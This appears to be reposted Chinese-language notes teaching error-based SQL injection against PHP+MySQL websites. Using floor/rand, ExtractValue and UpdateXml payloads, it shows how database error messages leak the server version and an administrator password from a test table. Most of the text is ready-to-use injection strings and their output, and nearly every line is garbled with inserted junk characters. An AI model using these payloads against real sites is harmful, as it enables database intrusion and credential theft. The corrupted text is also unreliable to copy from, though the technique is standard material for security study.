放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
2 |) q( u0 @ G2 p' d7 H" c实际测试环境:/ ]5 z0 }# Q# e0 `: A5 ]7 l6 {
, h+ v9 T: T& S# X
: c; p/ z) E9 z# o( _3 C F: c: E: _mysql> show tables;: |% Z h$ n1 L$ f9 I) B
+----------------+
1 s- n) O/ |6 z| Tables_in_test |
$ g4 S `4 C( s$ m# T4 B) P+----------------+* O0 ]( N( H% L$ @. K! W8 i; B( m
| admin |6 J" F7 v) `, `: t6 H: w
| article |
5 [5 {" Z8 M2 [+ Z+----------------+. x" [1 n. j& H. |/ H. x, T) d
8 n# ]. [4 e( @8 N# P; V 5 n4 t: M8 e7 Q. w$ C
0 }* A. F B2 \6 P2 W9 K3 `mysql> describe admin;
# X, F( g& j5 b+-------+------------------+------+-----+---------+----------------+& @& l" \" v* w# v
| Field | Type | Null | Key | Default | Extra |
/ R z2 Q$ O& [6 H2 |7 ]+-------+------------------+------+-----+---------+----------------+' I0 N, Q- E, A( z
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |5 T9 w0 i# O: H+ U1 h
| user | varchar(50) | NO | | NULL | |: S3 X9 @, r% |# X# `
| pass | varchar(50) | NO | | NULL | |, m9 Y. m' B4 `, Z2 k
+-------+------------------+------+-----+---------+----------------+
0 K3 A# X- J/ @' C0 e; @6 w
- e% p, |- K: B. J+ M , b1 K% t& @1 d- l
7 w0 i" C: z! F3 Y
mysql> describe article;
& W- K* @+ c2 H5 Z" F+---------+------------------+------+-----+---------+----------------+/ h8 ?) j! i4 M5 Y+ A2 c
| Field | Type | Null | Key | Default | Extra |
% s7 `. v: X/ n" s+---------+------------------+------+-----+---------+----------------+ \6 ]5 ^8 D. p& H
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
, V: Z+ `6 K0 z, H! y( V| title | varchar(50) | NO | | NULL | |, D: @7 W: Q9 N! ~- i
| content | varchar(50) | NO | | NULL | |) A. N; A" e6 V8 u2 s/ R. Z
+---------+------------------+------+-----+---------+----------------+
& c0 i8 z) e7 i# h1、通过floor报错# N L* p& |4 L3 Y4 s7 w& A
可以通过如下一些利用代码2 ` A8 R h+ a2 k9 c( L
/ j) s7 P( \# L0 A2 t6 Q/ f' U( M 8 C6 z- r: Z3 k+ I7 }& y Y1 B
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x- w4 D9 K1 e% }1 V# e J3 X, G
from information_schema.tables group by x)a);
! l7 B8 ] R D0 P d
2 g* w# s1 p' o0 o4 F* I$ Z 6 s9 N4 z% \' M. P" }# e
and (select count(*) from (select 1 union select null union select !1)x9 S' G* b! _/ q! f
group by concat((select table_name from information_schema.tables limit 1),4 S) R; p# R# i! c8 g1 k& E5 x
floor(rand(0)*2)));
# L3 a5 ?' _9 u/ L4 z举例如下:" Y* e) D+ r8 W6 W$ {
首先进行正常查询:
& H; a* s$ I$ d4 ^0 O- R* Q 2 f, e% Q; a- `' b, e5 ^6 N! n
mysql> select * from article where id = 1;2 ^6 e0 R& s9 X9 [+ _; C; M
+----+-------+---------+5 K, Q7 D! i. a9 K9 d3 s
| id | title | content |; X1 x/ o u! G. i
+----+-------+---------+4 v, H& K. I, W' {; Z* E
| 1 | test | do it |, |5 P9 }1 D1 Z/ }( ?' I2 {
+----+-------+---------+/ A1 k; K7 _! ^5 i
假如id输入存在注入的话,可以通过如下语句进行报错。
- B6 d% L) c# c
- \# T2 @$ s' y5 Q 9 r. \# _& k4 L8 i* N6 K. w
mysql> select * from article where id = 1 and (select 1 from9 C+ [5 D8 Q3 i0 j+ P7 V
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);5 j3 f7 u; Y, p0 o# A
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
9 c( ?' y0 R& z( p8 B可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。: D# z+ M; }% M: C8 W, @& [& `4 o- x
例如我们需要查询管理员用户名和密码:
$ M3 q; ~. }4 w2 QMethod1:
5 V9 L: y) b' O' g2 p3 i. H; t 3 J+ ? q$ p$ M& i* b$ l/ Z/ ^
, ~; {: Q& N! F' ^" \" D2 |0 ymysql> select * from article where id = 1 and (select 1 from
+ [( P- u( e7 \(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x. o) V, T$ ^! ]1 ^( L: a) z
from information_schema.tables group by x)a);
& C# j$ \% L, v) V) D0 ?+ D( ]ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
D5 u6 b' f2 v, Z! L) k7 {Method2:
6 L$ m+ J9 M9 I; ]+ e5 ^* M
$ R6 H! {5 s1 U # b6 E/ }8 Q q* M _- e- O
mysql> select * from article where id = 1 and (select count(*)
" K. j6 Z/ X* Q) \. f: kfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
) x5 ^5 U9 k8 m/ p1 Z8 r Pfloor(rand(0)*2)));
/ c$ X1 m! |' S- ]4 @ H: w" zERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'4 T5 x# M- Y1 `- d3 m- h" S3 X( P
2、ExtractValue. H3 l& ^1 g& J {
测试语句如下, ]6 q5 X0 r0 }. e2 r: l
2 ^" E- m# A2 ?# V' k
* m2 A' ?: A; c3 j: I
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
* p: ~! L3 c2 Z实际测试过程; Q( B# k0 ?: {' N
5 C# A8 j( I7 b( h7 `! h
8 O: c2 O6 W3 l& H7 z1 Q+ q" Omysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
: O1 e) w0 |4 R$ ^* P(select pass from admin limit 1)));--
* s1 v# r* N' R* O% Y. yERROR 1105 (HY000): XPATH syntax error: '\admin888') t9 W1 L# E: \8 ~; ]
3、UpdateXml
4 g3 z9 }9 y) `9 c0 O测试语句/ q9 N, k5 J k( T) M. X
. e/ v! F6 J' }, z4 B% o% B
3 \* R. [7 R+ Q/ P) E% L- d0 jand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))) O' `9 Z0 s8 g+ a6 y2 @8 c
实际测试过程# a: w$ s% R) i) |, U( k; D
: v, e9 D4 D& O( x r* v
! f; `7 K6 Y# Hmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
# j4 n. a2 g7 A& l) Z: {(select pass from admin limit 1),0x5e24),1));& ~/ i6 t9 D8 ]! a
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'' Q4 P1 p1 Z* o/ I$ w4 a/ i. D
All, thanks foreign guys.
2 E3 F1 A; U1 e/ E+ T, V
( E/ U& F8 }* g0 U. u2 Q8 I3 V7 Q K+ @' n/ r& P6 d6 ^( c( Z
|